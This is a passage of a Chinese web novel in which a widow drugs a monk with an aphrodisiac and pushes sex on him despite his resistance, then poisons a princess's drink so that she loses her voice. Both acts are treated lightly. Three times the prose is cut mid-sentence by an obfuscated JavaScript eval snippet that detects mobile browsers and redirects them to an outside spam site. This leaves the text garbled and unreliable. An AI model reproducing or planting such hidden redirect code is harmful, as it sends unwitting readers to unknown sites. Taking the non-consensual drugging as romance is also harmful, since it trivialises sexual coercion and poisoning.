她慢慢转动脖子时,冷静地盯着他到底是不是真吃下了,那双眼睛狐狸一样观察着人,没有一丝药力发作的迷乱,让人怀疑先前根本就是装的。 洛明瑢并未耍心眼,他真心觉得只要吃下这药,熬过考验,就能让沈幼漓知难而退。 如她所说,即便是穿心凿腑之痛,也算一场修行。 他不觉得自己会输。 洛明瑢重回蒲团上打坐。 “禅师,妾身有一句话放在心里,一直想问。” “什么?” 她手撑着地,后膝跟上,步调像一只狸奴,“若禅师未曾出家,只是俗世男子,愿不……愿意让妾身做你的妻子。” 沈幼漓凑近他,美人在烛火之下动人心魄,眉眼潋滟又不乏英气,是浓淡皆宜的一张脸。 洛明瑢的视线冰凉如水,他认真在看,又思索了一会儿,道:“不——呃!” 暴烈的感觉来得猝不及防,他躬身按住胸膛,乌木佛珠震荡出的玉质声响, 汗,立刻滚了下来。 “不……会,不会……”洛明瑢坚持把话说完。 莫名扑来的潮热,不给人一丝喘气的机会,迅疾而狂烈地在脑中炸开,让他气息变得不稳。 不会吗?沈幼漓莞尔,看来周氏找错人了,这和尚不喜欢她这样的。 不过现在由不得他了。 掌下心跳……快得她生出迟疑,沈幼漓唇瓣微干。 在冷静和冲动之间没有任何一丝过渡,洛明瑢如久行大漠的旅人,喉咙干渴得冒烟,偏偏清泉在畔。 意识到自己抓住她的手时,一切就已经晚了。 沈幼漓倒在地上,颊侧紧贴着他的手,耳边能听到骨节与佛珠嘎嘎作响,她手撑着他胸膛,掌下心跳很快,药起效了。 洛明瑢紧闭双目,与药力抵抗,汗,在她眼中清晰滚落下巴,砸在她颈中。 “那禅师喜欢什么样的女子?” 她还敢问,纤纤五指在僧衣上摩挲,仰起的脸上都是不服输。 洛明瑢皱起的眉峰更显孤峭,低低“嗯”的两声似古琴低吟,话语变得断断续续:“贫僧心中是三千众生,而非一人,是虚空,而非执念。” “嗤——” 他睁眼,剔透的眼珠子随嗤笑的人移动。 沈幼漓不笑了,有点警惕地看他,又反应过来自己的目的,忙放柔了眼神。 她给自己下药轻许多,只是面色酡红,至于刚刚的难受,都是演的,她早知道洛明瑢不会领情喝下桃浆,这于她更像个壮胆的东西。 深吸一口气,沈幼漓闭上眼睛,将硬撑的人拉下来。 洛明瑢倒在她身上,堪比大殿门板倒了,这一下撞得生疼。 是沈幼漓先亲他的,唇落在了下巴上。 修长五指舒张又握拳,洛明瑢心湖震荡,往日平静无波的心潭彻底被搅浑,就连身上的僧衣也浑是束缚,困得人戾气横生。 他不是没有力气,是唤不起一点反抗的意愿,更诡异的是,沈幼漓指尖所经,皆如点破池面,圈圈涟漪扩散。 身上忽地一轻,沈幼漓被他甩掉了手。 他起身朝房门走去,拉开。 7. 第 7 章 门打不开! 沈幼漓软着手脚跟在他身后,洛明瑢很高,她下巴撞上他肩下,从后面抱住他。 门是打不开的,她进来时就让人锁上了。 现下二人已经放在了一个蒸笼里,热气腾腾,只待做熟上菜。 在沈幼漓看不见的地方,拉着门闩的指骨用力到几乎要折断。 身后女子身躯贴近,洛明瑢浑身的血液有一瞬间的冰冻,而后,是更磅礴的怒涛席卷而来,热意飞速攀升至不堪忍耐,衣料竟成割人利刃。 在沈幼漓以为他真要劈开门出去时,洛明瑢突然转身。 手腕猛地被攥住,而后,檀香的气味铺天盖地、无处不在,沈幼漓扫见他的脸, 那眼神,直白混沌 她心跳竟然也快起来。 周遭空气变得潮湿而闷热。 檀香里有桃浆的甜味糅杂,让呼吸更焦躁凌乱,昏胀的脑子做不了什么命令,手臂促成彼此交缠,着魔一样不知在彼此身上找寻什么东西。 事情快速跳到下一步。 “嘶——” 是布帛碎裂的声音,热意像撕开了包子皮散了出去,沈幼漓才知月色清凉如许。 成功了,她就要成功了,这没什么大不了了…… 凌乱拥抱下,沈幼漓自言自语。 她不住催眠自己,以此压下些对陌生感的惶惑,指尖死死揪住洛明瑢后颈衣料,把自己凑在他唇下,任那高挺的鼻子在颈线处徘徊。 呼吸洒过,肌肤是滚烫的,烫得好像一切都是累赘,亟待甩开,只盼能与眼前之人流连追逐,如胶似漆,一同溺死在不知名处。 这想法糟糕得她战栗一下。 “砰——” 沉重的铁梨木供桌摇晃了一下。 抱她的手臂一空,沈幼漓睁开眼睛,有些疑惑。 二人双双坐在地上,洛明瑢已经退开半尺。 他并未一败涂地,只是不清醒的眼神充满了攻击性,不见一丝清冷慈悲,让人忌惮。 慢慢地,洛明瑢紧闭起眼睛,逼自己离开沈幼漓的范围之内,口中念起清心咒。 沈幼漓衣衫已扯落大半,几缕发丝垂落身前,里衣贴着是饱坠的丘峦,如花底晨露,盈盈如坠,在她呼吸间将随时要跃现眼前。 这药竟然生生让他忍住了。 她不解地盯着喘如兽类的男人,刚刚他眼底分明是血红的,就算闭上眼睛,也溢到眼尾。 洛明瑢吃的药跟她吃的可不一样,她对自己配的药还是有信心的。 “为何要忍得那么辛苦?做方才的事就好了。” 女子的尾音上扬,柔缓中藏着魅惑。 “只消一会儿,就不会那么难受了。” “就刚刚那样,再给我一会儿好不好?” 回答她的只有低声诵起的清心咒。 见他快要把供桌腿握碎了,都不肯动唤一下,沈幼漓耐心告罄,索性自己动手。 何必等他心甘情愿,沈幼漓才不在乎这个,洛明瑢最好赶紧把该给的东西给她,别浪费她时间! 闭目的洛明瑢来不及反抗,沈幼漓不假思索勾上他衣隙,而她最后的遮蔽,尽落臂弯下也毫不理会。 衣带早松泛,她所触及处惊人的烫,这地界她并不熟悉,如今一碰不免奇怪,平日浑然见不着,一时三刻竟能平地起楼,耸耸然有巍峨气象。 世间造物果真是神奇。 正待如书中所言坐下,腰间却掐上一双手。 洛明瑢举着她,不让她坐下。 这家伙还有力气。 沈幼漓颤颤巍巍跪着,洛明瑢倒卧,二人上下如拱桥相映,之间是影影绰绰擎起的一抹暗影。 那是什么已不须问。 沈幼漓目视着,懵懵懂懂之间竟也庆幸他没让自己生生坐下。 此刻不上亦不下,她也很不自在,从未示人的身躯,此刻似揭去月色,玉净瓶一样未染尘埃,锁骨至下是几道阴影勾勒玲珑,不似凡胎。 这般景象,再心如止水的人也控制不住去看,掐着她腰的人更备受煎熬,细腻的质感贴合掌心,洛明瑢喉结起落一下,视线随心念浮动,找不到一个焦点。 “女施主,你答应贫僧不会……嗯……” 他话也说不全,还天真得很。 沈幼漓没那么好心放过他,抚摸他的下巴,道:“色即是空,禅师何必抵抗,顺其自然,便是万法皆空。” “我也需要你,也当是救救我吧……” 她凑上去,慷慨的吻落在他眉上、脸上、唇上……对方转开脸,又微仰启唇,不知道是拒绝还是回应。 相啄之间沈幼漓试图推开洛明瑢的手,未能战胜,只是点点蘸蘸之下愈见勾连相敦之意。 突然倒转了天地,沈幼漓看着悬在面前的脸,怔愣住。 二人攻守易形,洛明瑢盯着她看,他还未彻底清醒,眼中清明若危楼摇摇欲坠,呼哧声随着热浪扑在颈间。 沈幼漓的心也跟着荡啊荡:“你——”想做什么? 洛明瑢不说话,只是俯身,他呼吸发烫,与沈幼漓贴面的脸颊也在烫,手臂越抱越紧,困兽一样挣扎。 他与她,此前都从未这般与人贴近过,陌生、不安和身躯里肆虐的药力把一切引向混乱和未知。 在沈幼漓以为他要继续时,沉闷的一记声音响起。 她又被洛明瑢砸得浑身生疼。 这家伙……竟然自己把自己打晕了! 坚实手臂还捆着她,高大的身躯也将她死死镇压,禁锢得沈幼漓难以呼吸。 她努力蹬着腿让自己往上一点,终于能畅快呼吸。 等喘匀气,她恼恨瞪了一眼昏迷洛明瑢,气极反笑。 这时候晕过去可不管用,是会死人的。 “喂!喂——” 没有回应。 沈幼漓叹了口气,索性将解药喂给了他。 她才不算输,先睡吧。 — 清晨,周氏的侍女来敲门,没人应,才从窗缝往里看,二人滚在一处儿,睡在一起。 她“呀”了一声,赶紧跑回主屋去。 沈幼漓早早醒来,穿好衣衫在屋中踱步,想了想又躺了回去,洛明瑢被药性折磨过头,此刻还在睡着,眉间紧皱。 这和尚真生了个好模样,沈幼漓感叹了一声。 不过昨夜都那样了还没成事,以后该怎么办呢。 这时洛明瑢也睁开了眼,沈幼漓一个激灵,立刻抱住他的腰,面容似春花带怯:“昨夜以后……妾身就是尽官人的人了。” 洛明瑢起身时将她也带了起来。 沈幼漓眨巴眨巴眼睛,见他又要去找布条。 “不是,禅师,禅师!您这是做什么呀。” 他格外冷静,一边捆人一边道:“女施主,贫僧昨夜未曾与你行房。” 关于欢喜佛的典籍他看过,他知道什么叫行房。 “那……轻薄总算吧,妾身清白全掷在官人这池子里了,难道还能跟别人去?” 她就是要坐实二人的关系。 “昨夜的赌约,是贫僧赢了,你答应过——” “你赢了?你怎么赢的?把自己打晕?要是我不给你喂解药,你早死了,还有,才吃了药就往外跑,你、你就是这么抵抗的?” 沈幼漓乖乖被捆也不反抗,只嘴上振振有词,“再说了,出家人起这争强好胜之心,分明是你输了,而且我说的是‘要是有用’,可不是一定要行房,你我皆知昨夜那药有用,很有用!” 日光照在她得意狡辩的脸上,将眼瞳晒成浅色,肌肤上连绒毛都在莹莹泛光。 “你——” 洛明瑢竟似无奈,闭了闭眼睛,她紧追一句:“禅师可是要犯嗔戒了?” 他不是! 洛明瑢起身,将她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471595|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放开。 沈幼漓脑袋随着他一路转,转到门口,门在他身后关得响亮,屋里空荡荡。 她点点头,和尚刚刚一定是生气了。 当日洛明瑢又回了山寺。 周氏特意喊沈幼漓在主屋一道用饭,夸赞她做得不错,沈幼漓也不解释,低头紧吃。 没几日,洛明瑢在禅月寺又一次见到了沈幼漓。 她坐在栏杆上,双手无聊地敲着膝盖,一见他来便笑:“禅师……” “女施主,往后还请不要来了。”洛明瑢反应称得上冷若冰霜,说完这句便要离去。 沈幼漓眸子光亮略黯,嗫嚅道:“禅师,妾身是来给你赔礼的。” “贫僧不想听。” “那日所做之事妾身越想越羞愧,可也实在不想被婆母赶出去,流落街头,这才病急乱投医的,禅师不肯原谅妾身,妾身不知该如何自处……唉,我真该羞愧至死!” “你并无悔改之意。” 不然怎会死死扯住他的佛珠,不让他走。 “怎么没有!妾身听小沙弥说,山里有棵野生的李子树,比山下李子熟得早,又大又甜,妾身就去守着,是第一个摘到的,喏——应该熟了。” 她殷切将身边的提篮送到洛明瑢面前。 洛明瑢低头,她左手死死扯住自己的佛珠,右手擎着一篮李子,大有不接着不让他走的意思。 他还是接过了,“往后不要再这样。” “谢禅师宽仁,”沈幼漓擦擦面颊上树枝刮出的血痕,说道:“那我走了?” 洛明瑢不说话。 她犹犹豫豫地放开珠子,起身,单脚跳着离开了。 ? 洛明瑢微微蹙眉。 跳了几步,沈幼漓又回头,见他只是看着,竟也不问,便主动提道:“妾身没事的,只是摘果子的时候从树上摔下来,砸到石头上,摔断腿而已,现在跳下山,明日说不定就能到瑜南城了。” 洛明瑢提着竹篮的手收紧,心里不轻不重地叹气。 “寺中有客院。” 她笑:“问过,满了。” “你想住哪儿?” “赔礼是因,摔断腿是果,又恰好被禅师看见,这缘法处处与你相干,是不是该你收留?” 她在那笑,眉还因为疼轻轻蹙着,不知什么时候出的汗将碎发贴在额头。 “洛家的人呢?” “他们丢下我就走了,辛苦禅师打发一位小沙弥去城中洛家请人带我回去,如何?” 洛明瑢望一眼天边晚霞,摇了摇头。 只能让她一间屋子。 “禅师?” “走吧。” 她单脚跳着跟上洛明瑢的脚步,没一会儿跳累了,将伤腿落在地上走,谁料走一步就痛叫一声,回荡在寺中,不胜吵扰。 “官人扶我一下。” 他不理会。 沈幼漓踩在一处突出的石砖,摔在地上,压着嗓子喊:“妙觉禅师……” 僧履止步,几息之后才伸出手。 沈幼漓将手搭上,像摸冰凉的玉石,蓦地让她想起被这双手抱住时,衣料攒在他臂间的感觉。 顺着手臂看向洛明瑢,不知他会不会想起同样的事。 洛明瑢神情并无异常,像牵起的是死物,在她起来时就松了手。 山雾渐起,他是彩云所逐的明月,衣袂不扬,心志不改,大概早将七情六欲交付于晨钟暮鼓之中,化入天地之间。 看得沈幼漓想叹气。 再往前走时,洛明瑢抬起提篮的手臂。 她将手轻轻搭上,二人并肩走在暮色的长廊之中。 他挑出一个李子咬了一口,甜得恰到好处,果肉是晚霞最艳处的红。 沈幼漓也拿了一个吃。 “贫僧今夜在大殿中礼佛……” “那谁给妾身上药?” “……” 8. 第 8 章 小殿中,周氏和洛明香续长明灯去了,只留下洛明瑢和沈幼漓二人。 “哈……” 在洛明瑢以为自己的玩笑起效时,沈幼漓又笑了一声,他才感觉到不对。 她莫非当真了? “妙觉禅师,打扰了。” 这话须说明白,洛明瑢拉住她:“你从前那些诡辩在《吕氏春秋》《战国策》中比比皆是,贫僧确实是偷师,却非从你处偷的,且……你那是为歪心邪意而辩,实在不好……” 说的什么!沈幼漓抽出手腕:“歪心邪意……那你是什么,好色的花和尚?既知道什么《战国策》,什么《春秋》,当初为何还会上当——” 说到这儿,她突然停住,呼吸微微停滞。 若他知道,还是中计,那岂不是—— 没那可能!沈幼漓赶紧把念头甩出去。 洛明瑢是心怀坦荡之人,若真有心动,定能从容宣之于口,何至于蹉跎七年,况且……谁会喜欢一个不知廉耻,一再□□自己的人。 她也是知道些好歹的。 “当初未想到破局之法。” 果然是这样。 得到了预料中的答案,沈幼漓吐出胸中浊气,“那你如今想到了?” 洛明瑢点头,他等着沈幼漓问,她却不问了,只是发呆,指尖戳着裙带绣的海棠。 “孩子,都还好吗?” “好。” “釉儿不爱读书?” “是。” “丕儿现今读了什么书?” “《太公家教》吧。” 不争执时,二人也无半分温情萦绕,即使说起儿女们的事,对话呆板得像大鼓,敲一下,响一下。 生了孩子,沈幼漓对他更不似之前热络,何况她决意忘情,这几年见面寥寥少,冷淡得堪比陌生人。 “丕儿所惑,可有答复?”沈幼漓问出了今日来禅月寺的目的。 她是为儿子来的,回家总得有个交代。 洛明瑢显见顿了一下,“问的什么?” 什么……他不知道? 丕儿不是说给爹爹递了字条?原来他连儿子的纸条都没看。 沈幼漓脊背一片僵硬。 “仆役丢了?” 洛明瑢摇头:“想是不会。” “仆役没丢,那就是你不想知道,早刻意吩咐过,我们的事不能拿来打扰你,是不是?” 他不答话。 看来是了。 沈幼漓深吸一口气,今日一幕幕浮现在脑中。 儿子那张殷切期盼的脸,山间急雨,讲经台那一幕幕郎情妾意……怒气短暂涌上,又瘪下去。 心里像被浇了滚水,烧得她脸在发红。 那些假装浑不在意的试探,都被洛明瑢的漫不经心戳破。 旧事、孩子……他才是真的五蕴皆空,浑不在意。 自己这一路奔来问这些,拿一个他根本不关心的孩子当借口,太过自作多情! “釉儿比谁都看得明白。” 沈幼漓说话的嘴唇在发抖。 她知道自己不该生气,不管是成亲还是两个孩子,都非洛明瑢本意,说他是受害者也不为过,可感情有时会越过理智,让她忍不住迁怒。 当初分明也有过些温情,都是错觉吗…… 沈幼漓的声音抖得太厉害,洛明瑢稍稍倾身,手将托盘扫移了位,“沈……娘子,丕儿问了什么?” 她恶狠狠道:“我不知道!” 二人之间沉默下来。 并排坐了一阵,谁也不说话。 午后短暂出了一阵太阳,日光将小殿照得明亮,把窗花投在身上,她盯着明暗的花纹发呆,喉间梗涩难以消退。 还是洛明瑢打破僵局的。 他低声念出一串佛音,在小殿之中萦绕。 沈幼漓一下就听出来,这是清心咒。 念给谁听? 想让她平心静气? 沈幼漓最讨厌这种东西! “你不要再念了!”她狠狠推了他一把,“这种东西我一个字都不想听!” 洛明瑢未恼,仍在观察沈幼漓,除非做戏,她心绪从未如此外露。 “沈娘子,你……到底怎么了? 沈幼漓反应过来自己失了态,匆匆道:“失礼了。” 说罢转身即走。 洛明瑢唤住她:“沈娘子,贫僧会知晓丕儿问了些什么的。” 沈幼漓梗着脖子:“不必,我该让他早些清醒过来,禅师从前如何,往后便如何,我们母子三人同您没有半分关系。” 佛珠垂荡在椅子上,一阵哗啦声。 “这样也好。” 果然……沈幼漓咬牙笑了笑,他一定如释重负。 “笃笃笃。”敲门声响起。 “县主想见妙觉禅师。” 是县主侍女的声音。 洛明瑢未答话,沈幼漓道:“那便不打扰妙觉禅师了。” 说罢立刻从另一扇门出了小殿。 — 偏殿中。 瑞昭郡主皱眉:“你说妙觉法师不在?” 方才在讲经堂里,她本想请妙觉法师一同来偏殿,亲手为他包扎伤口,也算谢他救命之恩,可妙觉法师却以不合礼数推拒了。 她只好独自离开,等再派人去问,就听说妙觉法师已经离开,似乎是往后边走。 如今寻去却也不见。 侍女点头:“是啊,小沙弥说分明见法师往小殿去了,奴婢寻去,隔门听到男女交谈声,可推开门进去一看,什么人都没有。” 男女交谈声……怕是什么不三不四的人借上香私会,怕人撞见。 瑞昭郡主并未深究。 侍女担忧道:“县主,要不还是早些下山去,着人送信给王爷吧。” 发生这么大的事,岂可还在山中逗留。 “下什么山,人抓到了吗,万一还有人埋伏在山道上呢!” 侍女缩头,不敢说话。 眼见寻不到妙觉法师,许多话都没能同他说,瑞昭县主格外烦躁。 她想若强行派人去通传,又担心损了救命恩人对她的印象,于是沉着脸走出偏殿,打算亲自去找。 才绕过讲经堂,就看到一碧色衣裙的年轻娘子神色阴沉地兜了出来。 那张脸着实教人不能轻易忘记。 “又是你。”瑞昭县主踱步到沈幼漓面前。 沈幼漓本心事重重,突然被挡住去路,抬眼一看,真是冤家路窄了。 心里暗道晦气,沈幼漓行礼道:“见过县主。” “你知道我是县主?” “方才妾身也在讲经堂中。” “你不是和家人来上香的?” 她还记得啊。 沈幼漓撒谎是家常便饭:“是,上完香顺道想听住持讲经,没想到刚进佛堂就出了事,家人……已经下山去了,” “原来如此……” 瑞昭县主绕着她看了一圈,“别人都走了,你不赶紧下山去,为何在这寺中兜兜转转?” 沈幼漓心道你不也在兜兜转转不肯走吗。 不过,这县主是知道她和洛明瑢有关?不然为何总莫名针对她? “县主知道我?”沈幼漓试探着问。 “你是什么东西,我为何要知道你?” 那就实在没道理。 沈幼漓算看明白了,此人纯粹天性刻薄,乐于拿鼻孔看人罢了,也不知自己为何被她盯上。 她还有些好奇,县主对妙觉法师如此追捧,该是不知道他俗家之事,若是知道,又会如何呢? “我……”沈幼漓本想挑明,话在唇边又停住。 与洛明瑢的亲事本就不三不四,这县主眼见也不是个好相与的,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471596|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来一定招她生气,眼下四处无人,自己独木难支,噤声自保为要。 可若不说,县主将来早晚是要知道,岂非更加迁怒于她? 沈幼漓自认与洛明瑢是清清白白的银钱关系,但其中曲折县主未必会去细究,必觉得今日隐瞒是自己故意戏弄羞辱她…… 说与不说,似乎都不会有好下场。 怪道有红颜祸水一说,男子更是祸害。 瑞昭县主不耐烦道:“你支支吾吾到底要说什么?” “等等,我想起一件事,难道我侍女听到的那对私会的男女就是你?” 她出来这一阵,除了眼前这村妇,确实没别的女子出现。 私会? 沈幼漓眉梢微抬。 “方才我侍女说听到闭门的小殿中有男女说话声,不会当真的是你吧!” 瑞昭县主越说越觉得自己猜对了,神情逐渐变得鄙夷,“怪不得你鬼鬼祟祟舍不得走,本县主告诉你,若是坏了禅月寺的名声,我定不饶你!” 沈幼漓哑然失笑。 她几年前确实在寺庙中有过不轨之举,但现在都改好了,县主怎么能如此揣测她清白呢! “我是想说的……” 县主咄咄逼人:“说什么?” “说方才殿中那一番惊险,着实无妄之灾,不过危难之中更见真心可贵,如此险境下妙觉禅师仍肯舍命相护县主,令人艳羡,而且……说句冒犯出家人的话,他和县主瞧着真是——” 可不是舍命,十年了,沈幼漓从不知道洛明瑢会武功呢。 “是什么?” 提到妙觉禅师,县主一扫厉色,猜到她要说什么,隐隐期待起后半句话。 — 沈幼漓和瑞昭县主说话之际,洛明瑢正在一殿之隔外。 侍女敲门时沈幼漓便走了,他的无心应付县主,也随着她离开,只是沈幼漓步子更快,出去就不见了人影。 洛明瑢默对空山,薄雾似有幻无,雨似乎还要下。 “怎的站在此处?” 是智圆禅师来了。 洛明瑢低声道:“尊长,弟子请法。” 智圆禅师欣慰道:“你且道来。” 修行也不是读书,一味埋头念经并无助益,有疑问,解答过,境界才能更进一重。 妙觉是六年前来的禅月寺,他悟性极高,佛缘甚深,智圆禅师望着他以后能把禅月寺支撑起来。 寺庙嘛,也是要吃饭的,当然吸引的香客越多越好。 “云何应住?云何降伏其心?” 住持面有难色,道:“你莫非连《金刚经》也忘了?” 洛明瑢垂目不言。 “妙觉,你悟性上佳,未尝不知‘人怀爱欲,不见道者,譬如澄水,致手搅之,众人共临,无有睹其影者[1]’” “弟子知道。” “既知晓,莫要反堕其道’” “可佛亦说,不断淫怒痴,亦不与俱……但除其病,而不除法[2]。” “看来你不是请法,是要辩禅,”智圆面容严肃似古松峥嵘,“须知观欲乐如疮痈,观激情如箭刺,观五蕴如杀场。” “佛法在世间,不离世间觉,[3]”洛明瑢应答从容,“青青翠竹,尽是法身;郁郁黄花,无非般若。[4]” “你怎知此心未受动摇,所望不是执念,妙觉,是谁让你勘不破?” 一阵沉默,僧人慧目低垂:“只是偶有所感罢了。” 住持叹气,“浮云来去,万念皆苦,你心既不在寺中,去留原该随你,只是如今,这寺中……需要你。” “是,弟子告退。” 智圆目送妙觉离去,回味方才所辩,心中隐隐生出不妙。 他自言自语道:“难道妙觉真为那县主倾心,想要还俗不成?” 话音才落,身后传来语调颤抖的一句:“你说什么?” 9. 第 9 章 面对县主期待的神情,沈幼漓笑得质朴又真挚,轻声说道:“真是一对璧人。” 沈幼漓的话正说到了瑞昭县主心坎上,她登时心花怒放。 高兴之余,县主对眼前女子那点恶意也消减不少,轻斥道:“妙觉法师是得道高僧,你说这样的话,会坏了他的清名。” “罢了,我也不同你计较,我只问你,方才可是你在殿中?” “我并未进过什么殿。” “不是你还能是谁?罢罢罢,这个本县主也不想管,你速速下山去。” 瑞昭县主心情好了许多,宽袖一甩,继续找妙觉禅师去。 “是。”沈幼漓盈盈施礼,目送她离开。 县主步履轻快,衣袖盈风,发间的蝴蝶簪子都要活过来一样。 年轻、尊贵、爱憎分明、一切唾手可得……沈幼漓没法不羡慕。 瑞昭县主转头就将沈幼漓甩到脑后,一门心思想在寺中与妙觉禅师偶遇,想着他会不会是被香客缠住了,便往寺门方向寻去。 沈幼漓正好也要离寺,便不远不近缀在末尾。 走到天王殿游廊后,远远见到住持一人在那站着。 瑞昭县主正想上前问住持妙觉禅师何在,就听到住持自言自语:“难道妙觉真为那县主倾心,想要还俗不成?” “你说什么?” 县主声音大到有些锐利。 她脚步一顿,立刻又急切走上前去,生怕圆智禅师把说出来的话又咽下去。 “你是说,妙觉法师要为了我还俗?” 光是说出来,瑞昭县主的激动都难以自抑,脸涨得比三春红花还艳。 见智圆不答,她急得推了一把:“愣着干什么,你快说呀!”瞪视的眼睛非要逼老和尚承认不可。 圆智禅师实在没想到县主会听到,懊悔自己多说这一句,“阿弥陀佛,是老衲失言了,妙觉并无还俗之心。” 她急了:“老和尚,出家人不打诳语,你敢说我方才听错了?” “一切、哎哟!一切不过是老衲随意猜测罢了,妙觉……一直是悟性最好的弟子,他一心弘扬佛法,从未有过还俗之心。” 县主动怒:“那你刚才的话是什么意思?” “这……老衲只是猜测,妙觉从未说要还俗的话,只是辩了几句经而已,断断不是还俗。” 瑞昭县主怎么甘心希望落空,老和尚能说那句话,一定是妙觉禅师有了表示,他为什么要提还俗,不就是因为自己吗? 一定是这样! 她咬住下唇,眼睛闪闪发光,似是下定决心:“无论如何我也是县主,他若是想与我在一起,就是神佛都不能阻止。” “和尚,若是你敢阻挠,就别怪本县主不客气!” “老衲……只看缘法。” 沈幼漓不声不响站在一旁,瑞昭县主刚刚听到的话,她也听到了。 洛明瑢想为县主还俗啊。 县主那宣言掷地有声,也着实打动人。 两情相悦,已不必问。 只是……沈幼漓喉咙堵得有些厉害,凉风一吹,鼻子还有点酸,她现在的脸一定僵硬难看得很,于是赶紧低头越过他们,下山去了。 智圆禅师眼前匆匆走过一人,也不知道是谁。 他知道妙觉俗家姓洛,是城中富户之子,家中人时有上山,却不知他曾成亲,更不知他有两个孩子。 沈幼漓上山次数寥寥,智圆没碰见过,更遑论认出。 — 走过禅月寺肃穆气派的牌匾,沈幼漓并未下山,反而折到后山徘徊。 雨还在下着,春雨之后万物竞发,药草在山林之中俯拾皆是,沈幼漓环顾一圈,很快就在一处河边发现了要找的东西。 削尖的竹子利落插进湿漉的泥里,没多久,一把沾着新鲜黄泥的生半夏就攥住沈幼漓手里。 这玩意儿炮制过,有温中化痰,降逆止呕的功效,可若生的吃下去,能让人喉咙麻痹,暂时失声。 沈幼漓在河边将生半夏洗干净,洗着洗着,突然觉得很没意思。 这么耿耿于怀有意义吗? 为什么要报复县主呢,明明是洛明瑢不喜欢她,自己却迁怒县主,只会显得自己嘴脸丑陋,拿不起放不下。 这么想着,她将药草丢下。 才走出没几步,又大步折返回来,将草药全数扫进布袋里,大步迈回禅月寺。 寻了一块鹅卵石捣啊捣,她边捣边嘟囔:“呸!洛明瑢算个什么东西,老娘早把他扽土里去了,得罪我,就是县主也有你好受的!” “不会说话,闭嘴一个月好好学一学!” 将捣出的汁液倒进小竹筒,沈幼漓折回到寺中,在天王殿偏殿探出脑袋。 轿子还在,县主没走呢。 此际殿中空空荡荡,轿子周遭无人守卫。 瑞昭县主的护卫死尽,赶来的援军又在追击穷寇,或守在殿中,没人想到来守着县主这顶华贵的轿子。 沈幼漓溜进轿中,环顾一圈,茶壶、茶叶……都不好下药,指不定未入口就换掉了。 贵人的轿子总有些隐秘藏东西的地方,县主不可能什么宝贝都带着身上吧…… 她坐在县主的位置,右手到处摸索着。 “啪嗒——” 果然有一个暗格。 沈幼漓瞧着满匣子银票首饰意动,可惜动了要被人发觉。 挑挑拣拣之下,一个嵌金琉璃的小瓶子映入眼帘,她拔开瓶塞嗅了嗅,竟是玉津甘和露。 “宫里才有的御赐之物啊。” 就是县主也会稀罕的东西。 “这么好的东西,怎么着都得给我喝下去吧。”沈幼漓将生半夏汁倒了下去。 下完药,沈幼漓溜出天王殿,在井边洗干净手,这才心满意足地走出寺门。 “施主。” “哎哟!”沈幼漓被吓了一跳,按着胸口回头一看,是一个七八岁的小沙弥。 “小师父,你有什么事吗?” 他不会是撞见自己下药了吧? 在沈幼漓惊疑之间,小沙弥捧给她一双僧鞋,瓮声道:“施主,这双鞋你穿上吧。” 竟然是给她送鞋的。 沈幼漓讶然,随即拒道:“谢谢小师父,可我不能穿你的鞋子,我是女子。” “这不是我的鞋,是……给借住本寺的香客备的,贫僧、贫僧看施主的鞋子糟蹋了可惜……请万莫推辞。” 他都要把鞋子捧到沈幼漓脸上了。 见推脱不得,沈幼漓瞧瞧自己娇气的绣鞋,在河边转了一趟又糟蹋了,若是穿着走下山,一定会废掉。 她领下好意,笑嘻嘻摸小沙弥脑袋:“谢谢小师父,回头洗干净我给你送回来。” 小沙弥抱住头:“还请施主不要这样!” “对了小师父,洛家人在哪儿?”沈幼漓想自己该去知会一声。 “应当还在观音殿里。” “烦请帮我知会一声,我先家去了。” “好,那……施、施主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471597|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好走。” 她又摸了摸他的光头,摸得小沙弥像一只受惊的兔子。 目送小沙弥惊慌飞跑开,沈幼漓将鞋子换上,满意地点点头,大是大了些,好歹适合走路了。 另一头,闷头跑的小沙弥跑过拐角没多远就撞上了人,来人伸手扶住,他才没有摔一个屁股墩。 小沙弥摸摸撞疼的额头,看到来人,赶忙站好,恭恭敬敬合掌:“师兄,鞋子已经送给女施主了。” “嗯。” 僧人望向远处,山门处已经没了人影,眼中能映出的只是三春时节,古寺烟雨。 “对了师兄,我找了女施主一圈,县主那边也在找你呢。” “烦请你告知住持,妙觉要去后山闭关一阵了。” “好……” 小沙弥不明白眼前情况,只认真跑腿去了。 — 这厢,瑞昭县主满心满眼都是要为她还俗妙觉法师,早把那容貌过分出挑的女子抛诸脑后,根本不知她何时离去,也不知道妙觉禅师已经往后山去了。 “妙觉法师何在?我一定要见到他。”县主耐心告罄。 得知妙觉禅师心中有她,瑞昭县主也不再谨小慎微,眼下,她只想赶紧见到他。 